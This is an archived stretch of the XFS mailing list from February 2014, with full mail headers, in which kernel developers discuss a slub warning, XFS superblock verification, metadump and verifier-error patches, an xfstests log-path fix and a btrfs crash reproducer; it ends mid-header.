AsgJAIpu/VJ5LJYe/2dsb2JhbABZgwa7EYVQgRgXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBMhsFxaOIUIHhDgBA5RDg2iSJINBKIEu Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 11:44:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE7Mj-0005C2-8w; Fri, 14 Feb 2014 12:14:53 +1100 Date: Fri, 14 Feb 2014 12:14:53 +1100 From: Dave Chinner To: Christian Kujau Cc: LKML , xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: <20140214011453.GP13997@dastard> X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 References: <20140213222602.GK13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392340810 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145093 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 03:34:19PM -0800, Christian Kujau wrote: > On Fri, 14 Feb 2014 at 09:26, Dave Chinner wrote: > > > after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, > > > the WARNING below was printed. > > > > > > Shortly after, a lockdep warning appeared (possibly related to my > > > post to the XFS list yesterday[0]). > > > > Unlikely. > > OK, so the "possible irq lock inversion dependency detected" is a lockdep > regression, as you explained in the xfs-list thread. What about the > "RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected" warning - I > haven't seen it again though, only once with 3.14.0-rc2. That was also an i_lock/mmapsem issue, so it's likely to be the same root cause. I'm testing a fix for it at the moment. Cheers, Dave. -- Dave Chinner david@fromorbit.com From lists@nerdbynature.de Thu Feb 13 19:22:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4522A7F69 for ; Thu, 13 Feb 2014 19:22:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C3351AC00C for ; Thu, 13 Feb 2014 17:22:09 -0800 (PST) X-ASG-Debug-ID: 1392340927-04cbb00c2937e320001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id wQDB2u5XqP5O3AhZ for ; Thu, 13 Feb 2014 17:22:08 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 86C393DAC3; Fri, 14 Feb 2014 02:22:07 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 2A3EE3DB3F; Fri, 14 Feb 2014 02:22:06 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 040E23DAC3; Fri, 14 Feb 2014 02:22:06 +0100 (CET) Date: Thu, 13 Feb 2014 17:22:06 -0800 (PST) From: Christian Kujau To: Dave Chinner cc: LKML , xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 In-Reply-To: <20140214011453.GP13997@dastard> X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: References: <20140213222602.GK13997@dastard> <20140214011453.GP13997@dastard> User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392340928 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145093 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 14 Feb 2014 at 12:14, Dave Chinner wrote: > > OK, so the "possible irq lock inversion dependency detected" is a lockdep > > regression, as you explained in the xfs-list thread. What about the > > "RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected" warning - I > > haven't seen it again though, only once with 3.14.0-rc2. > > That was also an i_lock/mmapsem issue, so it's likely to be the same > root cause. I'm testing a fix for it at the moment. Understood. Thanks for looking into this. Christian. -- BOFH excuse #129: The ring needs another token From sandeen@sandeen.net Thu Feb 13 20:04:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0F2797F6A for ; Thu, 13 Feb 2014 20:04:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0072A304039 for ; Thu, 13 Feb 2014 18:04:09 -0800 (PST) X-ASG-Debug-ID: 1392343448-04cbb00c2b3807a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id TaeNoVAtUJbxbuFl for ; Thu, 13 Feb 2014 18:04:08 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 32CF06519A6D; Thu, 13 Feb 2014 20:04:08 -0600 (CST) Message-ID: <52FD7997.1020407@sandeen.net> Date: Thu, 13 Feb 2014 20:04:07 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH V3] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> <52FD55FC.1000103@sandeen.net> <20140214002708.GO13997@dastard> X-ASG-Orig-Subj: Re: [PATCH V3] xfs: skip verification on initial "guess" superblock read In-Reply-To: <20140214002708.GO13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392343448 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/13/14, 6:27 PM, Dave Chinner wrote: > Looks fine. I'll run it through some testing and we can go from > there. FWIW, does this make your "check the sector size in the sb > verifier" patch redundant? Well, it'll be safe for the primary SB, but I assume that a corrupted secondary would still trip things up. I think that at this point we can switch to using BBTOB(bp->b_length) in the verifier and be safe. I'll look into it. -Eric > Cheers, > > Dave. > From david@fromorbit.com Thu Feb 13 20:21:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9BF8A7F6F for ; Thu, 13 Feb 2014 20:21:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 33E59AC005 for ; Thu, 13 Feb 2014 18:21:03 -0800 (PST) X-ASG-Debug-ID: 1392344457-04cb6c6de2381bc0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 5AsJNBj3ZXa9gCst for ; Thu, 13 Feb 2014 18:20:58 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkIAJN8/VJ5LJYe/2dsb2JhbABZgwa7F4VQgRgXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gEyFMXFo5jB4Q4BJgrilCHVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 12:50:57 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE8Ob-0005Il-69; Fri, 14 Feb 2014 13:20:53 +1100 Date: Fri, 14 Feb 2014 13:20:53 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values Message-ID: <20140214022053.GQ13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-2-git-send-email-david@fromorbit.com> <52FD1D38.1010006@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FD1D38.1010006@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392344457 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 01:30:00PM -0600, Mark Tinguely wrote: > On 01/23/14 04:23, Dave Chinner wrote: > >From: Dave Chinner > > > >Write_buf/write_index use confusing boolean values for return, > >meaning that it's hard to tell what the correct error return is > >supposed to be. Convert them to return zero on success or a > >negative errno otherwise so that it's clear what the error case is. > > > >Signed-off-by: Dave Chinner > >--- > > Looks like this patch broke metadumps on some corrupted filesystems. > This is a legacy filesystem that has zeroes overwriting the > SB/AGF/AGI on AG 1/2/3: > > > # xfs_metadump -wgo /dev/sda8 myfile.metadata > xfs_agf_read_verify: XFS_CORRUPTION_ERROR > xfs_metadump: cannot init perag data (117). Continuing anyway. > Copied 64 of 64 inodes (0 of 4 AGs) xfs_agf_write_verify: XF > S_CORRUPTION_ERROR > write_buf: write verifer failed on bno 0x1100919/0x200 > (no output) Where did it crash? Can you post the stack trace from gdb? Even better, can you send a patch to fix the problem? ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Feb 13 21:56:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 36F127F73 for ; Thu, 13 Feb 2014 21:56:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D1014AC00C for ; Thu, 13 Feb 2014 19:56:40 -0800 (PST) X-ASG-Debug-ID: 1392350196-04bdf01d0b819e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 3jK6PO6folFlezuS for ; Thu, 13 Feb 2014 19:56:36 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E43FD6519A6D for ; Thu, 13 Feb 2014 21:56:35 -0600 (CST) Message-ID: <52FD93F3.4010506@sandeen.net> Date: Thu, 13 Feb 2014 21:56:35 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: Re: [PATCH 6/7] xfs: add xfs_verifier_error() References: <52F99426.3010409@sandeen.net> <52F9957A.4050301@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 6/7] xfs: add xfs_verifier_error() In-Reply-To: <52F9957A.4050301@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392350196 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145096 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/10/14, 9:14 PM, Eric Sandeen wrote: > We want to distinguish between corruption and CRC errors. > In addition, the full stack trace on verifier errors > seems less than helpful; it looks more like an oops than > corruption. > > Create a new function to specifically alert the user to > verifier errors, which can differentiate between > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > unless the xfs error level is turned up high. > > Define a new error message (EFSBADCRC) to clearly identify > CRC errors. (Defined to EILSEQ, bad byte sequence) > > Signed-off-by: Eric Sandeen ... > +void > +xfs_verifier_error( > + struct xfs_buf *bp) > +{ > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + xfs_alert(mp, > +"Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", > + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", > + __builtin_return_address(0), bp->b_bn); > + > + if (xfs_error_level >= XFS_ERRLEVEL_LOW) > + xfs_hex_dump(bp->b_addr, 64); This needs to handle the case where we have a page array rather than a b_addr, as well. (The existing calls to XFS_CORRUPTION_ERROR would have oopsed on this too) -Eric From wangsl.fnst@cn.fujitsu.com Fri Feb 14 00:16:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4E0A57F55 for ; Fri, 14 Feb 2014 00:16:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC070AC00F for ; Thu, 13 Feb 2014 22:16:10 -0800 (PST) X-ASG-Debug-ID: 1392358562-04cbb00c2838d5c0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id y0p9Q6LOaMBPKMLN for ; Thu, 13 Feb 2014 22:16:05 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,843,1384272000"; d="scan'208";a="9525937" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 14 Feb 2014 14:12:11 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1E6Fwuh031972; Fri, 14 Feb 2014 14:16:00 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021414135832-75 ; Fri, 14 Feb 2014 14:13:58 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH] xfstests: btrfs/005: log test result to right path Date: Fri, 14 Feb 2014 14:14:22 +0800 X-ASG-Orig-Subj: [PATCH] xfstests: btrfs/005: log test result to right path Message-Id: <1392358462-2574-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/14 14:13:58, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/14 14:13:59, Serialize complete at 2014/02/14 14:13:59 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392358564 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145098 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We should log test results to $reqres.full not $req.full. Signed-off-by: Wang Shilong --- tests/btrfs/005 | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/tests/btrfs/005 b/tests/btrfs/005 index c364e11..7639635 100755 --- a/tests/btrfs/005 +++ b/tests/btrfs/005 @@ -77,14 +77,14 @@ _btrfs_online_defrag() fi if [ "$str" != "" ]; then - $BTRFS_UTIL_PROG filesystem defragment $str $SCRATCH_MNT/tmp_file >> $seq.full 2>&1 + $BTRFS_UTIL_PROG filesystem defragment $str $SCRATCH_MNT/tmp_file >> $seqres.full 2>&1 else if [ "$1" = "1" ];then - $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT/tmp_file >> $seq.full 2>&1 + $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT/tmp_file >> $seqres.full 2>&1 elif [ "$1" = "2" ];then - $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT/tmp_dir >> $seq.full 2>&1 + $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT/tmp_dir >> $seqres.full 2>&1 elif [ "$1" = "3" ];then - $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT >> $seq.full 2>&1 + $BTRFS_UTIL_PROG filesystem defragment $SCRATCH_MNT >> $seqres.full 2>&1 fi fi ret_val=$? @@ -134,9 +134,10 @@ _rundefrag() # real QA test starts here _supported_fs btrfs _supported_os Linux - -## We require scratch so that we'll have free contiguous space _require_scratch + +rm -f $seqres.full + _scratch_mkfs >/dev/null 2>&1 _scratch_mount _require_defrag -- 1.8.3.1 From ddiss@suse.de Fri Feb 14 06:47:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AA4307F55 for ; Fri, 14 Feb 2014 06:47:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A1698F8033 for ; Fri, 14 Feb 2014 04:47:02 -0800 (PST) X-ASG-Debug-ID: 1392382019-04cb6c6de03a6980001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id LLGbqZWorwlXYW8r (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 04:47:00 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 5EAE3AB5F; Fri, 14 Feb 2014 12:46:59 +0000 (UTC) Date: Fri, 14 Feb 2014 13:46:56 +0100 From: David Disseldorp To: linux-btrfs@vger.kernel.org Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer Message-ID: <20140214134656.7c1f2544@plati.site> X-ASG-Orig-Subj: Re: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer In-Reply-To: <1391769341-20688-1-git-send-email-ddiss@suse.de> References: <1391769341-20688-1-git-send-email-ddiss@suse.de> X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.22; x86_64-suse-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1392382020 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145106 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Ping, any Btrfsers get a chance to look at this patch series? I'd like to get it into the QA tree. On Fri, 7 Feb 2014 11:35:38 +0100, David Disseldorp wrote: > This patch-set provides a reproducer for hitting the 3.14.0-rc1 BUG_ON() > at: > 692 int __btrfs_drop_extents(struct btrfs_trans_handle *trans, > ... > 839 /* > 840 * | ---- range to drop ----- | > 841 * | -------- extent -------- | > 842 */ > 843 if (start <= key.offset && end < extent_end) { > 844 BUG_ON(extent_type == BTRFS_FILE_EXTENT_INLINE); > 845 > 846 memcpy(&new_key, &key, sizeof(new_key)); > > The first patch adds a small cloner binary which is used by btrfs/035 to > dispatch BTRFS_IOC_CLONE_RANGE requests. > > This workload resembles that of Samba's vfs_btrfs module, when a Windows > client restores a file from a shadow-copy (snapshot) using server-side > copy requests. > > Changes since V2: > - Remove explicit write error checks > > Changes since V1: > - Use strtoull instead of atoi > - Print error conditions in cloner > - Check for cloner binary before running test > - Continue test on failure > - Add cloner to .gitignore > > Feedback appreciated. > > Cheers, David > > > .gitignore | 1 + > configure.ac | 1 + > src/Makefile | 2 +- > src/cloner.c | 192 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/035.out | 3 +++ > tests/btrfs/group | 1 + > 7 files changed, 276 insertions(+), 1 deletion(-) From BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 14 07:25:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB2A27F55 for ; Fri, 14 Feb 2014 07:25:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B691304059 for ; Fri, 14 Feb 2014 05:25:17 -0800 (PST) X-ASG-Debug-ID: 1392384312-04bdf0121f3ccc00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id jaabkD570dfTTb1i (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 05:25:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WEIlL-0006wE-I9; Fri, 14 Feb 2014 13:25:03 +0000 Date: Fri, 14 Feb 2014 05:25:03 -0800 From: Christoph Hellwig To: Al Viro Cc: Linus Torvalds , Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com, Richard Weinberger Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214132503.GA23265@infradead.org> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> <20140213205146.GS18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213205146.GS18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392384312 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145108 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 08:51:46PM +0000, Al Viro wrote: > On Wed, Feb 12, 2014 at 09:44:11PM +0000, Al Viro wrote: > > > I'll try to put something along those lines together, if you or Oleg don't > > do it first. > > OK, having looked at that stuff... > > 1) things become much more compact if we finish conversion to get_signal() > first. I have vague memories that Richard sent out a series to convert over all architectures a while ago. Hopefully he has better memory than I do. From richard@nod.at Fri Feb 14 07:29:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9CCC27F55 for ; Fri, 14 Feb 2014 07:29:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6FDB08F8064 for ; Fri, 14 Feb 2014 05:29:41 -0800 (PST) X-ASG-Debug-ID: 1392384578-04bdf0121f3cd1f0001-NocioJ Received: from radon.swed.at (b.ns.miles-group.at [95.130.255.144]) by cuda.sgi.com with ESMTP id RuiPFMiabhH7ozBm (version=TLSv1 cipher=AES256-SHA bits=256 